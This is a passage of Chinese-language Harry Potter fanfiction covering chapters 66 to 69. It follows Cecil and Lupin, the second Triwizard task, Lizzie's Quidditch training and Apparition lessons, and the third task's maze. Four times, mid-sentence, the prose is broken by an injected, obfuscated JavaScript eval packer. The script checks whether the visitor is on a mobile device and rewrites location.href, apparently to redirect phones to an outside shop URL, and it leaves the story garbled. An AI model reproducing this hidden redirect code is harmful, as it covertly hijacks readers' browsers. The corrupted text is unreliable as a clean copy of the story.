一向语气温和的人,此时话语中也带着一点刺人的意味,塞西尔垂下眼眸,左手手指颤抖了几下,她下意识用右手按住左手,缓缓说道:“我没有证据,你知道吗,你觉得一个食死徒会给我留下一句对不起然后连尸体都找不到吗?” “哦,别跟我提什么狗屁爱情,我们之间不是这种关系,”塞西尔没等卢平开口又继续说,“至少对他来说不是。我跟你说过,克利切是一个足够忠实的家养小精灵,十多年来我没有从他嘴里撬出过任何一点消息,只要我开口问一句,他就会把自己撞得头破血流,我不忍心。” 她直视着卢平:“而西里斯恨布莱克家,这一点我和你都清楚。” “抱歉,我不该提他。”心软的卢平伸手将握住塞西尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487853|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手,她的手背已经被她用指甲抠出了血,“我的意思是,西里斯确实是个喜欢惹麻烦的家伙,但是多少还是有分寸的,我想他应该只是去找哈利了。” “早知如此我就不该揽这档子事……”塞西尔摇了摇头,想从口袋里找酒壶,又被卢平拦住,“现在轮到你操心我了是吧?” “都快手抖到拿不了魔杖了,”一转眼酒壶出现在了卢平手里,“少喝点。” “哦莱姆斯。”塞西尔不耐烦地抢过了酒壶,一挥魔杖将他推出了家门。 被赶出门的男人转身与起夜的房东太太打了个照面,二人面面相觑好一会儿,就在老太太即将清醒的那一刻,他掏出魔杖对着她念念有词,又是一眨眼的功夫,男人便消失在了楼梯间,而房东太太已经陷入了沉睡,摇摇晃晃回到了床上。 灌下一大口酒的塞西尔再次瞥见墙根那些狗毛,心烦意乱地对着它们念了一个清洁咒,然后将西里斯经常趴着睡觉的那条毯子扔进了壁炉。她觉得自己有点可笑,至少不应该觉得自己找到了同类人,不应该觉得他们是朋友。 经历了连续一周的暴雨,三强争霸赛第二个项目开始的前一晚,天气终于放晴,这让大家都松了一口气,只是在雨水的影响下,黑湖的湖面上涨了不少,岸边的水这会儿已没过脚踝。提前赶到霍格沃茨做准备工作的塞西尔正在邓布利多的办公室里无聊地来回踱着步,晚上八点前各个学校的负责人会将每个勇士的“宝物”带来这里,由她负责给交接给人鱼默库斯。 一想到“宝物”竟然是真人,塞西尔禁不住感慨设计这种挑战真是浪漫主义上头,这都什么绝境之下必有勇夫的道理,这么想着的时候办公室的大门旋转着打开,邓布利多先走了进来。见她在摆弄着自己桌上的羽毛笔,一旁的墨水瓶差不多快干了,他笑着开口说:“我已经很久没用过那个了。” “霍格沃茨就没有需要签字的文件吗?您应该来我们办公室看一眼。”塞西尔说着环顾了一下整个屋子,这里面什么东西都有,堆满了书,还有各种药剂瓶子,就是没有一份文件。 “可能每个人都觉得直接跟我本人谈话比较可信,”邓布利多再次笑了笑,“所以我经常不在学校里。” “哦,那对霍格沃茨的孩子们来说可不是什么好消息。”塞西尔挑了挑眉,这话被墙上挂着的几位老校长听见了,一个人别过了脸,一个人哼了一声。 “我知道你有点儿生气,因为西里斯的事情,”邓布利多看来都知道了,“哦不对,应该是因为我。” “我没有。”塞西尔低下头。 “我需要你,也相信你,这不意味着你需要担负起一切,我们之中没有任何人注定要牺牲。”邓布利多说罢轻轻一拍她的肩膀,“好了,接下来就该是你的工作了。” 66. 梅林的胡子 前一天下午上魔药学课之前,塞德里克跟莉兹商量好明天第二个项目开始前要找机会碰个头,把最近这段时间研究的黑湖底的地形再过最后一遍。结果一大早塞德里克就紧张得在拉文克劳塔楼前徘徊,他实在回答不出门环给出的那个不知所云的问题,好不容易等到有熟人出来,戴维斯却只说其他学院的学生不能随便进他们的公共休息室,接着扭头就下了楼。 强行保持着自己的风度,塞德里克对着戴维斯的背影攥紧了拳头,把想要脱口而出的单词咽回了肚子里,一转头莉兹打着呵欠,顶着一头乱糟糟的卷毛出现了,她有点茫然地看着表情咬牙切齿的塞德里克,疑惑地眨了眨眼,开口打招呼:“早上好?” “终于见到你了,秋昨天什么时候回的寝室?”塞德里克急忙问。 “这样啊,所以你没见到她。”莉兹大约还没从睡梦中完全清醒,点了两下头,慢悠悠说着。 “天呐你有没有抓住重点,”塞德里克揉了一把她的脑袋,把挡着眼睛的刘海弄到一边,“我的意思是,她不见了。” 没了刘海的遮挡,高处的窗户透进来的晨光照得莉兹睁不开眼,她哎呀了一声推开塞德里克的手,原地做了个伸展动作,慢慢走下台阶回答道:“原来这件事是不通知勇士的啊。” “什么?”塞德里克跟在她旁边。 “因为我是级长又和秋一个寝室,所以弗立维教授就告诉我第二个项目需要秋配合做‘人质’,也就是那首歌里唱到的‘宝物’。”她比划了两次引号的手势。 塞德里克松了一口气,补救似的替她抓了抓头发,试图让它看起来不那么凌乱,然后小声嘀咕着:“我也没想过自己会这么害怕,毕竟之前发生了那件事……不知道会不会有人再对我身边的人下手,况且害你被人下咒本来就够抱歉的了。” 莉兹无奈地皱了皱眉,她早该知道这个老好人会把所有的责任都揽上身,但是又不能把所有事情都告诉他,犹豫了几秒,她抬手用力一按他的肩膀:“没有人会顶风作案的,善良的迪戈里先生,何况我一直在秋身边,谁过得了我这关?” 这久违的语气听得塞德里克笑了出来:“没错,奥利凡德小姐说得对。” “好了,我现在要去填饱我的肚子,然后送你上战场。”莉兹指着礼堂的方向说道。 “我也得填饱我的肚子,然后上战场。”塞德里克迈开步子走在了她前面。 说实在的,塞德里克倒宁愿那是个真的战场,因为湖水真的很凉,跳下去的瞬间就像有电流穿透身体一样,四肢都变得麻木,他必须要用非常大的力气才能在水中翻个身接着向下潜到湖底。 他的魔杖提前上过一层防水的涂料,是莉兹要求的,她说通常情况下不会有人将魔杖放在水中泡一个小时,制作魔杖的时候自然也就不会考虑到这点,所以她觉得这种准备是必要的。当他掏出魔杖对着飞速游来的格林迪洛发出了一记昏迷咒时,他发现魔杖周围水的阻力非常小,这大大降低在水下挥舞魔杖的难度,真不愧是伟大的奥利凡德后人,塞德里克这样想着,又向着更深处游去。 与此同时的观众席上,众人议论纷纷,有的人在猜测波特会不会因此淹死在水里,有的人在感叹克鲁姆那个精妙的变形咒语,而有的人,比如说莉兹·奥利凡德,正把自己裹在巫师袍里,左手抱着那颗会发热的龙蛋,抱怨着湖边的冷风刺人。为了不惹人注意,她刚刚跟塞德里克在半道上就分开了,一群赫奇帕奇的学生簇拥着他走到了选手集合点,她则是打量了一下岸边的人和裁判台。 显然这一回魔法部比上一次派来了更多人,甚至还有两个傲罗,带着尖顶巫师帽的塞西尔两手背在身后,不知望着哪里在神游,而裁判除了一直没能露面的巴蒂·克劳奇,其他人都端坐在桌前,最边上头发梳得油光锃亮的珀西·韦斯莱大概是代替克劳奇来的,过去莉兹就不喜欢跟他打交道,如今更不想跟他有交集了。 时间一分一秒过去,莉兹低头看着手上爸爸送给自己的手表,已经三十分钟了,她希望塞德已经找到了秋正在回来的路上,否则就很难在一小时内完成任务了。有谁轻轻拍了拍她的手臂,一只瘦小的手在她眼前摊开,手心有一只颜色奇特的瓢虫。 “它在你的肩膀上停了好久,风这么大都没吹跑呢。”女孩悠闲的声音像柔软的毛巾,扫过了莉兹的耳畔。 “我好像在哪里见过……”莉兹刚一开口,瓢虫就张开翅膀飞远了,她和女孩对视了一眼说道,“抱歉,卢娜,我不该突然说话吓走它的。” “我想它可能躲起来在哪里听我们说话呢,或者钻进了我们的脑子里。”卢娜一脸天真地说着什么匪夷所思的猜测。 “那可太糟糕了。”莉兹摇了摇头,将注意力又放回湖面,平静的湖面仍然没有任何变化,不对,她发现岸边的塞西尔将视线集中到了某个点,接着跟旁边的同事说了两句话,那人便举起魔杖对着那里念了一个咒语,一个气泡缓缓从水中浮起,那里面是表情痛苦正在挣扎着的芙蓉·德拉库尔脚踝上盘着一只格林迪洛,塞西尔又念了第二个咒语,一束红光将格林迪洛打落。 一向体面的马克西姆夫人惊叫出声,她从裁判桌旁站起来,高大的身躯把桌子撞得摇摇晃晃,只见塞西尔扶着芙蓉蹚着水走回岸边,伸手接过庞弗雷夫人递来的一张大毛毯将芙蓉裹住。 那张漂亮脸蛋上左一道右一道的伤口,还有身上被撕裂的袍子吓坏了所有人,起初在看热闹的学生们都倒吸了一口凉气。可芙蓉却伤心坏了,她的眼泪顺着头发上的水一块儿流了下来,她的妹妹还在水底下,而她自己这次大概只能得零分了,马克西姆夫人尽力安慰着自己的学生,湖面又再次有了动静。 “塞德里克!他回来了!他是第一名!” 有人大声喊出了他的名字,莉兹也昂起头来,她看了一眼手表,塞德里克刚好超时了一分钟,算了,没关系,完成任务就非常好了,她跟大家一起鼓掌,迎接着霍格沃茨勇士的归来。 又过了两分钟,克鲁姆抱着格兰芬多那个卷发姑娘上了岸,卡卡洛夫发了疯似的抓着毛毯冲向了他,但克鲁姆却是将两条毯子都盖在了女孩的身上,低着头询问她有没有什么地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487854|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方不舒服。 观众席的掌声让一切变得那么完满,如果哈利·波特不是还在湖底的话,莉兹注意到裁判席中间的卢多·巴格曼眉头紧锁,而珀西·韦斯莱更是脸色煞白直哆嗦,塞西尔弯下腰将魔杖伸进湖中,嘴中一直在念着什么。 “哈利不会真的死掉吧?”后排有人担忧地问出声。 “那我们倒是很期待啊!”前排的斯莱特林们开始冷嘲热讽。 此时一条灰绿色的人鱼浮出了水面,它的长相看起来比书上还要凶狠,手拿着和人一般高的长矛,张开嘴发出了那种很刺耳的声响,塞西尔听完了对方的发言点点头,匆忙向邓布利多报告了情况。接着,越来越多的人鱼跟在之后探出了脑袋,观众席所有人也站了起来,大家努力在那之中找着哈利和罗恩的身影。 趁这时候,莉兹穿过人群走下观众席,小跑着走向在岸边等待的塞德里克和秋,他们笑着跟她挥手。她刚站定就把发热的蛋塞到了秋怀里,然后转头和塞德里克说:“你超过了一分钟,我都担心你上不来了。” “我没想到会有那么多格林迪洛,平时最多就一两只,今天是一整群。”塞德里克一脸心有余悸。 “我都不敢想第三个项目还要你们怎么送命,自杀吗?”莉兹的发言引起了旁边克鲁姆的注意,他朝她这里看过来,眼神冷冰冰的,不过她完全没在意,只是继续说,“我没开玩笑,你应该赶紧偷学几个‘恶咒’,我真的觉得下一次会送命。” “你的‘恶咒’最好带着引号,我不想把我的青春耗在阿兹卡班。”塞德里克笑着说完便转头看向湖面。 “哦,是哈利!”秋扶着身旁的塞德里克站起来。 “对了,你以后可不要再说我是老好人了,”塞德里克瞥了一眼莉兹,“他本来第一个就能回来的,但他非要救下所有人,他是真的很厉害。” 话语里包含着真诚的称赞之意,莉兹看了看朋友的表情,又看了看从水中上来惊魂未定的波特,在心中慨叹他们就不要推辞了,两个人明摆着都是霍格沃茨的大圣人。 “如果霍格沃茨能幻影移形就好了,至少咱们能在这个学期结束前通过考试。”莉兹两手环抱着说道,“这样不管出什么意外,总有办法让你回来不是吗?” “哦天呐,我完全忘记了这件事,”塞德里克摸了摸后脑勺,“下个周末是不是要开课了,我还跟秋约好了……”他拉住秋的手,对着她傻呵呵一笑。 莉兹再次摇头,决定在所有人回城堡前先溜到厨房去蹭一杯热可可,新来的那位家养小精灵闪闪非常擅长制作好喝的热可可,味道又浓郁又丝滑,她每次都能一口气喝完两杯,不过不管她怎么夸赞,闪闪的表情都只有惶恐。梅丽说她依然惦记着自己的老主人,所以一直很难过。差不多时间来到霍格沃茨的多比却完全相反,甚至还能在旁边鼓励她。 心情很不错的莉兹脚步轻快,刚走到厨房便轻声叫着闪闪的名字,结果是没等来对方的回应,将热可可送到她手边的是自从舞会之后就没有再和自己说过话的人。 “嘿,小古板小姐。” 67. 最美好的一束光 两手捧住马克杯的莉兹习惯性张望了一下四周,接着在厨房烤炉旁的垫子上盘腿坐下,角落里闪闪躲在了多比身后,眨巴着一双大眼睛在打量着他们。 “我还以为只有我一个人提前回来了。”莉兹说道。 她似乎并不觉得两三个月没有说上话是什么稀奇的事情,毕竟双胞胎兄弟俩除了到处恶作剧,其余时间都会一头扎进什么地方研究各种古怪的道具。只是以前隔一段时间他们就会拿着那些玩意儿找机会吓莉兹一跳,仿佛她是什么商品测验标准似的。当然,有时候也会送些确实有用的东西,比如会发热的龙蛋,或是会飞的折纸,都很有意思。 “我们注意到费尔奇的那只蠢猫最近好像发现了我们的秘密基地,所以我正在把我们的东西带回寝室去。”乔治说着拍了拍自己鼓鼓囊囊的挎包,还有一个标着韦斯莱名字的手提箱。 “所以你们的密道又被找到了几个?还是全军覆没了。”莉兹喝了一口热可可,嘴边沾到了一点巧克力。 “暂时……”乔治弯下腰,用自己的袖子帮她擦了擦,浅色的衬衫袖口留下了棕色的痕迹,“只剩下了你知道的那一个。” “不过你们现在也决定抛弃这个了,”莉兹胡乱蹭了蹭嘴巴,稍微向后挪了挪,“还是有了新的打算?” “弗雷德说在一切就绪之前不能告诉任何人,不过我觉得告诉小古板女士他应该不会介意,”乔治抱着手提箱在她旁边坐着,“我们想开一家属于我们的笑话商店,现在的进展还挺顺利,除了没有钱。” 听着这番话,平时伶牙俐齿的莉兹没有即刻做出评判,她很安静地喝完了杯子里的热可可,然后长叹一口气感慨说:“真不错啊。” “你还是来两句嘲讽吧,这样我比较习惯。”乔治笑了一声。 “我可不是那种人,”莉兹轻轻一哼,“我也很想知道自己想做的事情是什么,不对,是我想做且能做的事情是什么。” 她偶尔会想象自己把飞天扫帚扔在米歇尔女士面前,大声说出“我只想留在魔杖店里而不是去练什么鬼魁地奇”,不过每次想象的结尾都是自己捡起扫帚对着妈妈道歉,她在幻想中都无法找到第二种解决办法。因此每次意识到自己还可以在霍格沃茨读一年书的时候,莉兹都会感到十分庆幸。不过三月一来,距离夏天的英格兰青训又没多久时间了,她真希望这个学期有两百个月那么长。 “这世界上还有小古板女士做不来的事情?”乔治调侃说。 “我会当做你在恭维我,”莉兹松开抓着杯子的手,马克杯便自己飞回了水池中,她看着溅起的水花,低声说着,“如果我不是米歇尔二代的话……” “你本来也不是。”乔治不假思索回道。 “但很可惜,我确实是,”莉兹耸了耸肩,慢慢起身,“你还是赶紧把东西藏好吧,塞德这轮拿了第一名,一会儿厨房会变得很拥挤的。” 站直身子后她又补了一句:“你们的波特也做得很棒,给他带点好吃的回去。” 说罢莉兹便一个人离开了厨房,乔治其实理解不来她话语里的怨气,能不能得到父母的允许好像一直以来都不是最困扰他们兄弟的事情,他们的行动准则就是“我想去做”,也从来都认为“我想”比“我能”更重要,至于“我被允许”更是不在考虑范围之内。 原来小古板女士并不“帅气”,她单薄的背影在他眼中缓缓远离。 三月将一些晴朗的气息带来了苏格兰高地,莉兹在米歇尔的远程监督下开始了自主训练,许久未被使用的魁地奇球场,沙地上甚至长出了一些杂草,可就算是这样她依然得按时完成俯冲、急停等基础训练。因为负责飞行课与担任魁地奇裁判的霍琦女士与米歇尔相识多年,所以莉兹在校多年,才会什么消息都瞒不住妈妈。 然而在其他人眼中,比如拉文克劳现任魁地奇校队队长罗杰·戴维斯,却觉得她像是作秀。 “哦天呐,因为我的妈妈是伟大的选手所以我要比任何人都要努力训练——”他在公共休息室当着球队里所有人的面这样说。 “我可没有不欢迎你们加入。”莉兹解开斗篷,赌气似的甩了甩,上头沾到的沙土糊了戴维斯一脸。 一旁的秋拉了拉莉兹的胳膊,小声跟她说算了,俩人这才没有继续斗下去。 一个人的训练确实枯燥,秋和塞德里克偶尔也会跟莉兹一块儿,但是米歇尔列出的单子太长了,他们完全不敢想莉兹从小是怎么坚持下来的。塞德里克觉得这种强度,除了奥利弗那种魁地奇痴根本不会有第二人能完成。 于是每周一次的幻影移形课程成了莉兹难得能够喘息的时间,从霍格莫德来回加上听课,她可以合理合法地取消训练。包含最后魔法交通司的资格考试,全部的费用是十二加隆,这实在不是一笔小数目,塞德里克开玩笑说如果不能一次性通过的话,他就只能卖掉自己收藏的魁地奇明星卡去凑学费了。 不过这世上能够真正难住完美先生的咒语也许还没被创造出来,第一节理论课只有莉兹和他两个人将那些要点背得滚瓜烂熟,过目不忘的莉兹在背诵方面有着得天独厚的优势,所以哪怕再多来十页也不是什么大问题。而跟他们一起上课的安吉丽娜和韦斯莱双胞胎们只觉得那根本就是毫无逻辑的天书,为什么不能直接开始实操。 “有这么讨厌魁地奇训练吗?”塞德里克看了一眼身旁的莉兹,她一边听写笔记一边状态轻松地用脚点着地板。 “我觉得能和训练的痛苦程度持平的只有魔药学课,而且还是斯内普每个月心情最糟糕的那两节。”莉兹晃了晃手里的羽毛笔。 “哇——太形象了,我感受到你的痛了。”塞德里克微微皱眉,“那奥利弗得做了什么天大的好事才能成为你的男朋友,他救过你的命吗?” “我和你说了你会不会跑去给他告状。”莉兹托腮呆望着黑板上的图解。 “拜托了奥利凡德小姐,我又不是他的间谍。”塞德里克无奈地挠了挠头。 “那我就告诉你好了,”莉兹回答,“当我发现不管我怎么讨厌魁地奇,我都没有讨厌过那么喜欢魁地奇的奥利弗时,我就已经得到我的答案了。” “哦——梅林。”塞德里克瞬间起了一身鸡皮疙瘩,“天呐……天呐天呐。” 莉兹清了清嗓子,用魔杖敲了一下桌腿,用眼神警告着塞德里克:“我不介意让你两个小时说不出话。” “我错了,对不起。”塞德里克识相地立马求饶,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487855|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宽恕我吧。” 可是莉兹清楚得很,这些话最终都会被他原封不动地告诉他的好兄弟,所以到底是谁在说塞德里克·迪戈里是整个霍格沃茨最有风度的帅小伙。不然下课之后,他也不会看着在门外等他们的伍德露出那种奇怪的笑容。 完全不知道课上发生了什么的伍德茫然地看着笑作一团的塞德里克,他哈哈笑着拍打着他的肩膀,一边的莉兹扭过头冷哼道:“是的没错,你最亲爱的好朋友最终还是疯了。” “到底怎么了,塞德你快告诉我?”伍德也被逗笑了,一把揽过塞德里克的肩膀,将他死死勒住,忍着笑意追问。 “我说了就会被暗杀,你也知道莉兹出咒语有多快,”塞德里克挣扎着,“我真的不能啊——” 下一秒莉兹也被拉回来,在职业赛中锻炼出一副强健身躯的奥利弗·伍德轻而易举困住了他们两个人,三个人就在霍格莫德村的石板路上嬉笑着,午后的阳光突破万难穿过了头顶那一层雨云,毫无保留地落在他们身上,看起来像这个世界主人公最美好的一次亮相。 这天之后,英联赛与欧冠的赛程越来越忙碌,而普德米尔联队第一门将选择了伤退,伍德获得了更多的出场时间,几乎没有任何休息的机会,莉兹和塞德里克只能在每一期的魁地奇速报中翻找这位选手的消息。 说来也奇怪,塔尔自从三月初发布那篇关于英格兰青训选拔内幕的报道之后就没有再刊登过任何文章,学校里似乎也没有人在乎那篇文章里写了什么,只有斯莱特林魁地奇校队的队长格拉哈姆·蒙太在克鲁姆面前添油加醋地将莉兹说得一文不值。 当时寡言少语的威克多尔·克鲁姆却十分难得开口反驳了格拉哈姆,刚加入保加利亚青训时,克鲁姆出国拉练,也见过被米歇尔教练带来做陪练的莉兹,她可不是塔尔在报道中说的徒有虚名的草包二代,她飞得比队里很多人都厉害。 国际巨星的证词自然管用,但实际上就算克鲁姆没有帮莉兹说话,莉兹在校队这么长时间,多的是人嫌弃她脾气不好,可从没人说过她的魁地奇技术。所以那篇报道,哪怕是最看不惯莉兹的戴维斯看了之后也只评价了一句:“真是胡言乱语。” 与此同时一起消失的还有《预言家日报》的特约记者丽塔,尽管早在第二个项目时就被禁止进入霍格沃茨了,但她还是给三强争霸赛的勇士们留下了一篇关于波特、格兰杰与克鲁姆三人惊天动地的三角恋故事,这篇大作的影响力远远超过了魁地奇速报那小豆腐块,横跨整个版面的绘声绘色的描述,把一个普普通通的格兰芬多姑娘写成了一位玩弄男人心的坏女人。 一般情况下,莉兹从不行使级长的扣分权力,但她在看到有几个学生往女生的背包里偷偷塞装满了毒草粘液的信封时还是出声喝止了,她轻轻一点魔杖,信封飞出来和那团粘液一块儿被烧成了灰。 “拉文克劳,斯莱特林,扣三分!” 听到这声音,原本在走路的赫敏·格兰杰也回过头来,莉兹和她对上了视线,不过二人并没有说话,等到从身边经过时,格兰杰对着莉兹说:“谢谢你,上次在图书馆也是,谢谢。” 侧过身子点点头,莉兹不顾身后那几个学生不满的控诉,自顾自走上了楼。 68. 看不见的难题 转眼间夏季学期便过了大半,幻影移形的课程只剩下最后一节模拟测验,莉兹的几次实操都挺成功的,老师把大家带到了稍微空旷一点的地方,在身边画了三个同心圆,让每个人排着队从起点幻影移形到那个圈内,越接近最中心的圆,通过的几率就越高。一共有三次机会,莉兹在第一次尝试时脚后跟踩到了内圈的边,第三次时便稳稳当当站在了圆心。紧跟着的安吉丽娜和塞德里克的表现也很好,不过最厉害的还是乔治和弗雷德,他们三次都落在了圆心,连脚印都是同一个。 当然也不是所有人都这么成功,比如格拉哈姆就让自己移动到了二十米外的地点,倒挂在了树干上。他跟老师说下一次一定会成功的,结果又出现在了老师的头顶,这个身高接近六英尺三英寸体重足有二百磅的家伙差点要了老师的命。于是最后一次尝试机会,老师死也没有再给他,并且表示他也不用参加七月魔法交通司的考试了。 之前塞德里克问过去年已经通过测试的杰姬,听说幻影移形的考场离富勒姆球场不是很远,所以他邀请莉兹暑假的时候顺便来玩一趟,因为他和秋还有伍德都住得很近,正好能一起聚聚,也让那位忙于职业联赛的门将新星喘口气。莉兹觉得这个提议很好,至少能让她在进入英格兰青训营封闭训练之前再享受一次自由的滋味。 复活节假期结束后,让莉兹苦不堪言的个人特训也被叫停了,她从来没有任何一次像这一次一样觉得写信给米歇尔女士是天底下最好的事情。这天早晨莉兹和往常一样去魁地奇球场报到,在那里等待着她的却不是霍琦夫人,而是带着手套、头发和胡子上都沾满了泥土的海格,还有许久未见的塞西尔,她的头发留长了一些,刘海和发尾都修剪得很齐,看起来像是个小蘑菇。 “塞西尔!”莉兹扔开手上的扫帚一下扑进了她的怀里,只是个头早已长高的她差一些就要把自己的姑姑撞倒在灌木丛里。 灌木丛? 莉兹立马反应过来眼前的球场变得完全不一样了,短短两日平整的沙地上平白无故多了无数道由灌木构成的矮墙,她疑惑地松开手,后退两步往上跳了两下,错综复杂的路线映入眼帘,作为一位热衷解谜的标准拉文克劳学生,她开口问道:“所以最后一关是迷宫?” “没错,勇士们今晚也会知道的。”塞西尔笑着应了一声,然后将地上的巨型幕布用魔杖举起,直到从东到西整个儿将魁地奇球场都包裹住,这里面仿佛变成了另一个空间。 “我正在给这些灌木撒特别的生长剂,不出一个月啊,这里每一株灌木都会长到二十英尺以上,”海格完全没把莉兹当成是需要保密的对象,只当她和塞西尔一样,所以很高兴地介绍着,“邓布利多先生还允许我用上一些神奇动物,它们可都不是好对付的。” 装作认真在听的莉兹跟随着他的脚步,其实已经把迷宫的平面图在脑海里画了一遍,他一边把桶里的药粉撒出去,一边继续说:“不过为了保密,我所有人都不知道最后的终点是哪里。” 莉兹转头看向塞西尔,对方则是神秘兮兮地说:“我也不能什么都告诉你吧。” “好吧,”莉兹耸耸肩又问,“但是如果不是这件事,你也不会特地在这里等我呀。” 塞西尔的表情突然认真起来,拉着莉兹放慢脚步,直到海格已经走到了几米之外,她开口说:“我很高兴你这段时间没有再继续调查下去,这并不安全,我想你也发现了。” “所以是真的有什么问题吗?”莉兹说。 “奇怪的地方就在这里,我们之中有人一直在监视他,但是他只是在普通的上课和每个学生普通的相处,我也用一些只有阿拉斯托知道的事情去试探他,没有任何漏洞。”塞西尔很无奈,“说实在的,我完全相信你的直觉。” “解决看不见的难题最可怕,对吧?”莉兹沉默了一阵回答说,“但是我也不希望朋友出事。” “海格不知道,最后火焰杯会由我放在迷宫的终点,我还有其他的傲罗也会在那个位置待命。”塞西尔笑了笑,“因为海格的那些神奇动物,我就有了借口接手迷宫的设计。” “难怪你说不能告诉我,原来你才是出题人。”莉兹稍微放心了一些。 “我只是执行人,这迷宫是你们亲爱的院长绘制的,我想他应该参考了全世界最难破解的迷宫。”塞西尔摇摇头。 “真棒。”莉兹脱口而出。 “我就知道你会喜欢,”塞西尔揽过她的肩膀,“很抱歉,你中了咒语之后我也没有帮过你什么,我太忙了……” “你能相信我的怀疑,而不是和其他老师一样让我做一个乖孩子,这对我来说就是最大的帮助。”莉兹抬起头。 塞西尔欣慰地轻轻叹了一口气,拍拍她的后背:“行了,快去和你的伙伴一块儿讨论迷宫吧,我说得够多了。” “下个月见!”莉兹灵巧地翻过矮墙,走回自己的扫帚旁,将幕布掀开一点钻了出去。 回城堡的路上,莉兹本想着立刻给塞德里克送一封便签,告诉他在老地方见,转念一想魁地奇球场已经被封锁了,办公室自然也去不了,他们得找另外足够不起眼的地方讨论战术了,但是更加紧急的是她得去猫头鹰棚屋给米歇尔写一封信,很“遗憾”地告诉她特训不得不取消了。 清闲了好一段日子的班克懒洋洋的在屋顶晒着太阳,它一见到莉兹就飞了下来,绕着她一圈又一圈地飞,兴奋的班克谁也制不住,莉兹只能等它消停下来,才从背包里拿出了寄给米歇尔的信:“记得一路直飞诺坎普,不要贪玩。” 班克咬住信封,抖了抖羽毛,像是在表态,接着拍打了一下翅膀腾空而起,向远处飞去。 莉兹呆呆望着天空,不知过了多久才从猫头鹰棚屋下来。和同年级很多学生比起来,她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487856|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个六年级都过得算是悠闲,虽说明年也要参加N.E.W.T考试,不过她没有像戴维斯一样用所有的选修课将课表填地满满当当,也没有像塞德里克一样为了毕业后的工作而追求每门课的最高等级,好比这会儿他大概就在她没选的草药学课上给亲爱的斯普劳特教授打下手呢。 趁着关于迷宫的记忆还算新鲜,莉兹决定到图书馆去把自己看到那个部分的平面图都画出来,到时候和塞德里克讨论起来就省事多了,况且她也很好奇,弗立维教授究竟参考了哪些最难破解的迷宫,会像意大利的皮萨尼别墅花园的迷宫那样吗,还是说更类似汉普顿宫迷宫,或者是英国其他的迷宫,她在纸上一边画着一边笑,大脑里好像已经有一个小人在那些线条间奔跑。 唯一可惜的是,她早上只能偷看到很少的一块,尽管跟塞西尔在迷宫里走了大半路程,也很难还原全貌,她只能在猜测的基础上,推断出了几种路线,至少可以让塞德里克顺利地走完将近三分之二。然而,比赛最重要的是要找到奖杯,塞西尔可以将它放在迷宫的任何一个位置。 没关系,对莉兹来说,世界上的一切都可以推算,只要找出可能性最高的那一个就好。 沉浸在迷宫之中的莉兹在图书馆待到了接近傍晚,饥肠辘辘的她总算是回到了现实世界,顶着晕乎乎的脑袋,她迈着拖沓的脚步爬去礼堂,她希望今天的晚餐可以早一点开始。 刚刚下课的塞德里克跟秋在走廊刚好碰见,他们一道往楼下走,结果一起看到了宛如软体动物在爬行的莉兹,两个人默契地放轻脚步,接着同时伸手一拉她巫师袍的帽子,在她反应过来转身前开口打招呼:“嘿,莉兹。” “我暂时没有力气……”她喘了一口气,“配合你们的开玩笑。” “看来你需要点能续命的东西。”塞德里克笑着说。 “我想我应该有带着……”秋低头翻了翻背包,从里面摸出了一根太妃棒棒糖,“不过这是昨天晚上塞德给我的,如果不介意的话。” “不要介意的应该是他。”莉兹毫不客气地撕开糖纸,将棒棒糖塞进嘴里,“我的大脑急需一些糖分。” “什么大难题连你的脑子都不够用了?”塞德里克说着又摸出另外两颗糖给了秋和莉兹一人一个。 “暂时不能说,”莉兹强调,“等你们四个晚上开完会之后我再告诉你。” “我们四个?”塞德里克刚反问了一句,不远处的斯普劳特教授就在礼堂门前对着他招了招手,他只好先暂停了这边的对话跑向了前。 “应该是通知他们晚上要公布第三个项目了,”莉兹将棒棒糖拿在手里,跟秋一起走进了礼堂,“这回会是很有意思的项目。” “也很危险吗?”秋担心和之前的两次一样,都非常的惊险。 莉兹思索了一会儿,接着认真回答:“我尽全力让它不那么危险。” 69. 安全的场所 